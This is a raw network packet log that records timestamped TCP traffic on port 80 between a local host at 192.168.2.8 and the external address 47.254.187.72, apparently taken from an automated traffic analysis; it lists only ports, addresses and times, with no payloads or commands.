Jan 2, 2025 20:20:07.020560026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020570993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020580053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020592928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020593882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020625114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020625114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020663977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.022558928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022568941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022576094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022623062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022640944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022651911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022656918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.022656918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.022663116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022674084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.022706032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.022742033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.024625063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024643898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024655104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024665117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024677038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024677992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.024688005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024698973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024709940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.024728060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.024827003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.027214050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027230024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027242899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027254105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027266026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027277946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.027277946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027292013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.027302980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.027333021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.028076887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028089046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028100014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028110981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028120995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.028127909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028139114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028145075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.028151035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028162956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.028202057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.028202057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.029310942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029324055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029335976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029345989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029357910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029369116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029381990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029386044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.029386044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.029391050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.029452085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.029452085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.030025005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030038118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030055046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030065060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030075073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.030077934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030086994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030092955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.030097008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030107975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.030121088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.030150890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.030165911 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.031531096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031543016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031559944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031569958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031579018 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.031580925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031596899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031606913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.031609058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.031657934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032368898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032412052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032422066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032432079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032433033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032444954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032468081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032475948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032475948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032478094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032489061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032500982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.032517910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032537937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.032552004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.035640955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035655975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035667896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035681009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035695076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035707951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035712957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.035712957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.035728931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.035772085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.035772085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.038141012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038208961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.038264990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038279057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038291931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038305998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038316011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.038320065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038335085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038346052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038361073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.038371086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.038383961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.038417101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.041620970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041632891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041645050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041656017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041666985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041676044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.041678905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041692019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.041695118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.041733980 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.041779995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.042695045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042706013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042743921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.042773008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042790890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042802095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042812109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042823076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042833090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042849064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.042891026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.042939901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.046339989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046359062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046370029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046380997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046391964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046406984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.046408892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046416044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.046422005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046430111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046441078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.046483994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.046483994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.147165060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147187948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147203922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147218943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147233963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147238016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.147248983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147265911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.147272110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.147340059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.147340059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.153125048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153155088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153167009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153179884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153193951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.153223991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153234959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.153239965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153254032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153268099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153280973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.153301001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.153301001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.153353930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.155806065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155844927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155870914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.155904055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155914068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.155920029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155934095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155949116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155961990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155966043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.155977964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.155978918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.155987978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.156019926 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.156075954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.158524036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158540010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158554077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158569098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158574104 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.158582926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158597946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158612967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.158616066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158631086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.158679962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.158679962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.161994934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162008047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162022114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162034035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.162044048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162056923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162070990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162074089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.162084103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162098885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.162157059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.162157059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.164975882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165004015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165040970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165066004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165069103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165069103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165088892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165107965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165117025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165136099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165136099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165141106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165169001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.165173054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165215969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.165215969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166502953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166533947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166548014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166570902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166587114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166593075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166608095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166611910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166611910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166623116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166636944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166639090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166651011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.166661978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166677952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.166696072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169428110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169460058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169472933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169496059 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169516087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169523954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169539928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169554949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169569969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169579029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169589043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169600964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.169616938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169640064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.169732094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.170494080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170509100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170531988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170547009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170557022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.170572996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170591116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170598030 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.170607090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170622110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.170628071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.170653105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.170706987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.172969103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173000097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173017979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173023939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.173036098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173043966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.173053980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173069000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.173070908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173089981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.173101902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.173129082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.173149109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.174024105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.174043894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.174062014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.174093962 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.174117088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.490386009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.495194912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.962923050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.962940931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.962958097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.963063955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.963063955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.964355946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.964370966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.964382887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.964394093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.964472055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.965230942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.967587948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.967605114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.967616081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.967627048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.969733953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.969746113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.969759941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.969770908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.969795942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.969827890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.969827890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.972599030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.972611904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.972625017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.972640991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.972660065 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.972850084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.977654934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.977668047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.977679968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.977694035 CET	80	49704	47.254.187.72	192.168.2.8
